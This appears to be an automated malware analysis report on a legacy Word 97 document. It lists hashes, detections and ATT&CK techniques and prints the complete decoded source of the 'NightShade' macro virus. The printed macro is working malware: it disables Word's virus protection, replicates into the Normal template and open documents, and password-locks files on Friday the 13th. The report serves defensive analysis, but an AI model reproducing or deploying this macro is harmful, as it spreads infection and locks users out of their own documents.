Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ef06ac1cfd4e42f…

MALICIOUS

Office (OLE)

31.5 KB Created: 1997-02-18 22:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5106d32f03849890e82ec6207d6ea584 SHA-1: 392b54a9a7ddf4e4b489cb62bcb8ef159b229a28 SHA-256: 6ef06ac1cfd4e42ff9a1c01e5a7719a9e0f86570c8b1ae0cdc573d3af8bdeb72
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a VBA macro named 'NightShade' with an 'AutoClose' subroutine. This macro attempts to copy itself to the active document and the Normal template, indicating an intent to establish persistence or ensure execution on document close. The presence of 'AutoClose' and the macro's self-replication behavior are strong indicators of malicious intent, consistent with malware families that leverage Office macros for execution and persistence.

Heuristics 4

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2273 bytes
SHA-256: a16be4e90cc4ee5ed03c491b50b76391f0f82d30ec7c06700b5bbbb8b10ad2ed
Detection
ClamAV: Doc.Trojan.NightShade-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Office97"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NightShade"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Night Shade."
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Microsoft.NightShade.AutoClose"
On Error GoTo NightShade

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "NightShade" Then
            DocumentInstalled = True
        End If
    Next

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "NightShade" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If

    If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then

        Assistant.Visible = True

        With Assistant.NewBalloon
            .Icon = msoIconAlert
            .Text = "Word97.NightShade by Pyro [VBB]"
            .Heading = "Attention:"
            .Show
        End With

    End If

    If WeekDay(Now()) = 6 And Day(Now()) = 13 Then

        If ActiveDoc.HasPassword = False Then
            ActiveDoc.Password = "NightShade"
        End If

    End If

    Application.DisplayAlerts = wdAlertsAll

NightShade:
End Sub